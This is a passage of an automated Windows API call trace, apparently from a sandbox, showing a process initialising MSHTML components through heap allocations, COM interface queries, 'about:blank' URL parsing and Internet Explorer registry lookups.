0x545148 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x148) returned 0x545278 [0041.511] GetCurrentThreadId () returned 0x86c [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x5c) returned 0x5453c8 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x533548 [0041.512] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30e9bc | out: ppURI=0x30e9bc*=0x53c0ac) returned 0x0 [0041.512] IUri:GetPropertyDWORD (in: This=0x53c0ac, uriProp=0x11, pdwProperty=0x30e9a4, dwFlags=0x0 | out: pdwProperty=0x30e9a4*=0x11) returned 0x0 [0041.512] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x53f4dc, dwReserved=0x0 | out: ppSM=0x53f4dc*=0x545430) returned 0x0 [0041.512] IInternetSecurityManager:SetSecuritySite (This=0x545430, pSite=0x53f4e4) returned 0x0 [0041.512] IUnknown:AddRef (This=0x53f4e4) returned 0x28 [0041.512] IUnknown:QueryInterface (in: This=0x53f4e4, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30e974 | out: ppvObject=0x30e974*=0x53f4e8) returned 0x0 [0041.512] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x545458 | out: ppvObject=0x545458*=0x0) returned 0x80004002 [0041.512] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x545454 | out: ppvObject=0x545454*=0x0) returned 0x80004002 [0041.512] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x545450 | out: ppvObject=0x545450*=0x0) returned 0x80004002 [0041.512] IUnknown:Release (This=0x53f4e8) returned 0x0 [0041.512] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="about:blank", pbSecurityId=0x30ea10, pcbSecurityId=0x30ea04*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ea10*=0x61, pcbSecurityId=0x30ea04*=0xf) returned 0x0 [0041.543] DllGetClassObject (in: rclsid=0x5419fc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x30df90*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30d648 | out: ppv=0x30d648*=0x73158c70) returned 0x0 [0041.543] IUnknown:AddRef (This=0x73158c70) returned 0x1 [0041.543] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.543] IUnknown:QueryInterface (in: This=0x73158c70, riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30e20c | out: ppvObject=0x30e20c*=0x73158c70) returned 0x0 [0041.544] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.544] IUnknown:QueryInterface (in: This=0x73158c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e3cc | out: ppvObject=0x30e3cc*=0x73158c7c) returned 0x0 [0041.544] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.544] IInternetProtocolInfo:ParseUrl (in: This=0x73158c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x533608, cchResult=0xc, pcchResult=0x30e414, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x30e414*=0xc) returned 0x0 [0041.544] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53fe78 [0041.544] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.544] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fe78 | out: hHeap=0x510000) returned 1 [0041.544] IUnknown:Release (This=0x73158c7c) returned 0x1 [0041.544] DllGetClassObject (in: rclsid=0x5419fc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e2e0 | out: ppv=0x30e2e0*=0x73158c70) returned 0x0 [0041.544] IUnknown:QueryInterface (in: This=0x73158c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e3cc | out: ppvObject=0x30e3cc*=0x73158c7c) returned 0x0 [0041.544] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.544] IInternetProtocolInfo:ParseUrl (in: This=0x73158c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x533608, cchResult=0xc, pcchResult=0x30e424, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30e424*=0x0) returned 0x800c0011 [0041.544] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.545] IUnknown:Release (This=0x73158c7c) returned 0x1 [0041.545] IUnknown:Release (This=0x53c0ac) returned 0x2 [0041.545] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.545] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf) returned 0x53b8d8 [0041.545] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b920 [0041.545] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x30e9e4, dwReserved=0x0 | out: ppSM=0x30e9e4*=0x547430) returned 0x0 [0041.546] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf) returned 0x53b938 [0041.546] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x549578 [0041.546] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30eb94 | out: phkResult=0x30eb94*=0x1c0) returned 0x0 [0041.546] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30eb98 | out: phkResult=0x30eb98*=0x1cc) returned 0x0 [0041.546] RegOpenKeyExW (in: hKey=0x1cc, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x30eb54 | out: phkResult=0x30eb54*=0x0) returned 0x2 [0041.546] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x30eb54 | out: phkResult=0x30eb54*=0x0) returned 0x2 [0041.546] RegCloseKey (hKey=0x0) returned 0x6 [0041.546] RegCloseKey (hKey=0x0) returned 0x6 [0041.546] RegCloseKey (hKey=0x1c0) returned 0x0 [0041.546] RegCloseKey (hKey=0x1cc) returned 0x0 [0041.547] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x128) returned 0x54a638 [0041.547] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x5495d0 [0041.547] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b968 [0041.547] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2000) returned 0x54a768 [0041.547] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x54c770 [0041.547] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c770 | out: hHeap=0x510000) returned 1 [0041.547] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.547] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30e9d8 | out: ppURI=0x30e9d8*=0x53c0ac) returned 0x0 [0041.547] DllGetClassObject (in: rclsid=0x5419fc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e2b0 | out: ppv=0x30e2b0*=0x73158c70) returned 0x0 [0041.548] IUnknown:QueryInterface (in: This=0x73158c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e39c | out: ppvObject=0x30e39c*=0x73158c7c) returned 0x0 [0041.548] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.548] IInternetProtocolInfo:ParseUrl (in: This=0x73158c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x533608, cchResult=0xc, pcchResult=0x30e3e4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x30e3e4*=0xc) returned 0x0 [0041.548] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53fe78 [0041.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fe78 | out: hHeap=0x510000) returned 1 [0041.548] IUnknown:Release (This=0x73158c7c) returned 0x1 [0041.548] DllGetClassObject (in: rclsid=0x5419fc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e2b0 | out: ppv=0x30e2b0*=0x73158c70) returned 0x0 [0041.548] IUnknown:QueryInterface (in: This=0x73158c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e39c | out: ppvObject=0x30e39c*=0x73158c7c) returned 0x0 [0041.548] IUnknown:Release (This=0x73158c70) returned 0x1 [0041.548] IInternetProtocolInfo:ParseUrl (in: This=0x73158c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x533608, cchResult=0xc, pcchResult=0x30e3f4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30e3f4*=0x0) returned 0x800c0011 [0041.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.548] IUnknown:Release (This=0x73158c7c) returned 0x1 [0041.549] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.549] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.549] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.549] IUnknown:Release (This=0x53c0ac) returned 0x2 [0041.549] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x52d830 [0041.549] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x524890 [0041.549] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x5c) returned 0x54c770 [0041.549] GetDC (hWnd=0x0) returned 0x3a010795 [0041.549] GetDeviceCaps (hdc=0x3a010795, index=88) returned 96 [0041.549] ReleaseDC (hWnd=0x0, hDC=0x3a010795) returned 1 [0041.549] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000 [0041.550] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ec30 | out: phkResult=0x30ec30*=0x158) returned 0x0 [0041.550] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ec34 | out: phkResult=0x30ec34*=0x1c0) returned 0x0 [0041.550] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x30ebf0 | out: phkResult=0x30ebf0*=0x0) returned 0x2 [0041.550] RegOpenKeyExW (in: hKey=0x158, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x30ebf0 | out: phkResult=0x30ebf0*=0x0) returned 0x2 [0041.550] RegCloseKey (hKey=0x0) returned 0x6 [0041.550] RegCloseKey (hKey=0x0) returned 0x6 [0041.550] RegCloseKey (hKey=0x158) returned 0x0 [0041.550] RegCloseKey (hKey=0x1c0) returned 0x0 [0041.551] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b608 [0041.551] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529490 [0041.551] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x54c7d8 [0041.551] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.551] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0041.551] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0041.551] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockShared") returned 0x77352560 [0041.551] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0041.551] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockShared") returned 0x773525a9 [0041.551] RtlInitializeConditionVariable () returned 0x54c80c [0041.551] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54c840 [0041.551] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54c880 [0041.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533608 [0041.552] IUnknown:AddRef (This=0x53eda8) returned 0x0 [0041.552] IUnknown:Release (This=0x53eda8) returned 0x1 [0041.552] IUnknown:Release (This=0x73158cb0) returned 0x1 [0041.552] IUnknown:QueryInterface (in: This=0x53eda8, riid=0x72ddb75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30f9fc | out: ppvObject=0x30f9fc*=0x53eda8) returned 0x0 [0041.552] IUnknown:Release (This=0x53eda8) returned 0x1 [0041.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x52d1a0 [0041.552] IUnknown_QueryService (in: punk=0x731596a4, guidService=0x72de880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x72de880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x53ee00 | out: ppvOut=0x53ee00*=0x0) returned 0x80004005 [0041.552] IUnknown:QueryInterface (in: This=0x731596a4, riid=0x753c42d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f978 | out: ppvObject=0x30f978*=0x731596b8) returned 0x0 [0041.552] IServiceProvider:QueryService (in: This=0x731596b8, guidService=0x72de880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x72de880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x53ee00 | out: ppvObject=0x53ee00*=0x0) returned 0x80004005 [0041.552] IUnknown:Release (This=0x731596b8) returned 0x1 [0041.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x34) returned 0x54c8c0 [0041.552] IInternetSecurityManager:SetSecuritySite (This=0x545430, pSite=0x53f4e4) returned 0x0 [0041.552] IUnknown:Release (This=0x53f4e4) returned 0x0 [0041.552] IUnknown:AddRef (This=0x53f4e4) returned 0x28 [0041.552] IUnknown:QueryInterface (in: This=0x53f4e4, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f9b0 | out: ppvObject=0x30f9b0*=0x53f4e8) returned 0x0 [0041.552] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x545458 | out: ppvObject=0x545458*=0x0) returned 0x80004002 [0041.553] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x545454 | out: ppvObject=0x545454*=0x0) returned 0x80004002 [0041.553] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x545450 | out: ppvObject=0x545450*=0x731596bc) returned 0x0 [0041.553] IUnknown:Release (This=0x53f4e8) returned 0x0 [0041.553] CoTaskMemAlloc (cb=0x6d) returned 0x54c900 [0041.553] CoTaskMemAlloc (cb=0x9) returned 0x524848 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x54c990 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x54cd78 [0041.553] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x44) returned 0x5294e0 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x54c9a8 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54c9c0 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x53bd28 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53fd38 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54c9d8 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x94) returned 0x54cdd0 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54ce70 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x54ceb0 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf8) returned 0x54cf28 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8b4) returned 0x54d028 [0041.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54c9f0 [0041.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca08 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x84) returned 0x54d8e8 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x800) returned 0x54d978 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x800) returned 0x54e180 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4c) returned 0x54e988 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x800) returned 0x54e9e0 [0041.554] IsCharSpaceW (wch=0x48) returned 0 [0041.554] IsCharAlphaNumericW (ch=0x5c) returned 0 [0041.554] IsCharSpaceW (wch=0x5c) returned 0 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533628 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x54f1e8 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533648 [0041.554] IsCharSpaceW (wch=0x41) returned 0 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x54ca20 [0041.554] IsCharAlphaNumericW (ch=0x20) returned 0 [0041.554] IsCharSpaceW (wch=0x20) returned 1 [0041.554] IsCharSpaceW (wch=0x7b) returned 0 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53fef0 [0041.554] IsCharSpaceW (wch=0x20) returned 1 [0041.554] IsCharAlphaNumericW (ch=0x7b) returned 0 [0041.554] IsCharSpaceW (wch=0x62) returned 0 [0041.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f1e8 | out: hHeap=0x510000) returned 1 [0041.554] IsCharAlphaNumericW (ch=0x3a) returned 0 [0041.554] IsCharSpaceW (wch=0x3a) returned 0 [0041.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53ff18 [0041.555] IsCharAlphaNumericW (ch=0x3a) returned 0 [0041.555] IsCharSpaceW (wch=0x75) returned 0 [0041.555] IsCharAlphaNumericW (ch=0x28) returned 0 [0041.555] IsCharSpaceW (wch=0x28) returned 0 [0041.556] IsCharAlphaNumericW (ch=0x28) returned 0 [0041.556] IsCharSpaceW (wch=0x23) returned 0 [0041.556] IsCharSpaceW (wch=0x23) returned 0 [0041.556] IsCharSpaceW (wch=0x7d) returned 0 [0041.556] IsCharAlphaNumericW (ch=0x7d) returned 0 [0041.556] IsCharSpaceW (wch=0x29) returned 0 [0041.556] IsCharSpaceW (wch=0x75) returned 0 [0041.556] IsCharSpaceW (wch=0x75) returned 0 [0041.556] IsCharSpaceW (wch=0x29) returned 0 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533688 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54f3f0 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5241c0 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca38 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca50 [0041.556] CoTaskMemFree (pv=0x54c900) [0041.556] CoTaskMemFree (pv=0x524848) [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x5336a8 [0041.556] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x769d0000 [0041.556] GetProcAddress (hModule=0x769d0000, lpProcName=0x6) returned 0x769d3e59 [0041.556] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x340) returned 0x54f430 [0041.556] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a) returned 0x54c900 [0041.556] IsOS (dwOS=0x25) returned 1 [0041.557] GetSysColor (nIndex=26) returned 0xcc6600 [0041.557] IsOS (dwOS=0x25) returned 1 [0041.557] GetSysColor (nIndex=5) returned 0xffffff [0041.557] GetSysColor (nIndex=8) returned 0x0 [0041.557] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.557] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x524848 [0041.560] wcstol (in: _String="0,0,255", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*=",0,255") returned 0 [0041.560] wcstol (in: _String="0,255", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*=",255") returned 0 [0041.560] wcstol (in: _String="255", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*="") returned 255 [0041.560] wcstol (in: _String="128,0,128", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*=",0,128") returned 128 [0041.560] wcstol (in: _String="0,128", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*=",128") returned 0 [0041.561] wcstol (in: _String="128", _EndPtr=0x30e60c, _Radix=10 | out: _EndPtr=0x30e60c*="") returned 128 [0041.562] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0041.562] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0041.563] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6c4 | out: phkResult=0x30f6c4*=0xa8) returned 0x0 [0041.563] SHGetValueW (in: hkey=0xa8, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x30f6c8, 